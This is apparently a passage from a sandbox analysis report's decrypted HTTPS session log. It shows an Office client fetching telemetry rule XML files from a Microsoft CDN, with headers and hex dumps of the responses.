65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	50813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:41 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:41 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2a29193b-001e-0065-3fd8-1e0b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161841Z-16b659b44994sn4705n0hqcu3c00000007qg00000000tb1d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:41 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	50814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:41 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:41 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: b1f1651c-201e-0085-16d8-1e34e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161841Z-15b8d89586fwzdd8ab09pbrekn00000003qg0000000054qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:41 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	50861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:41 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:41 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:41 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 5f435b13-401e-008c-38d8-1e86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161841Z-r197bdfb6b46dlbhxh69g4rk5g0000000a2g000000008nzy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:41 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	50887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:42 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: a235b62e-001e-0082-0cd8-1e5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161842Z-15b8d89586f6nn8zwfkdy3t04s00000003sg00000000062x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	50898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:42 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 90cac500-701e-001e-74d8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161842Z-15b8d89586fdmfsgn8gw8tkkbc00000003s0000000001z0b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	50888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:42 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:42 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 59a6d794-d01e-0065-31d8-1eb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161842Z-r197bdfb6b488ks5g2m20m5xu40000000a1g00000000etsm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	50930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:43 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: a14f1cd6-f01e-003f-2ad8-1ed19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161843Z-16b659b4499mk7vv3349cr2qug0000000b4000000000v447 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	50931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:43 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:43 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 783e4b83-401e-00ac-1cd8-1e0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161843Z-16b659b4499wvth4ttszf0h3n400000007r00000000024u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	51036	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:43 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:43 UTC	584	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 90cac76b-701e-001e-3bd8-1ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161843Z-16b659b4499gfl4fdbx49yxptw0000000brg00000000gcqy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-17 16:18:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	51034	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:43 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:43 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 8f2f9f45-501e-008f-59d8-1e9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161843Z-16b659b4499w2mwkzdhtwtt78c0000000ang000000009frb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:43 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	51030	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:43 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-17 16:18:43 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 16:18:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: bad4a38d-701e-0097-38d8-1eb8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241017T161843Z-r197bdfb6b4qz2jg69037h393n00000003fg00000000ptb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-17 16:18:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	51044	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-17 16:18:43 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 68 72 77 52 68 6c 31 62 69 55 71 6d 79 4a 74 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 63 61 31 35 34 61 66 64 39 62 37 31 32 31 66 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: hrwRhl1biUqmyJtr.1Context: eca154afd9b7121f
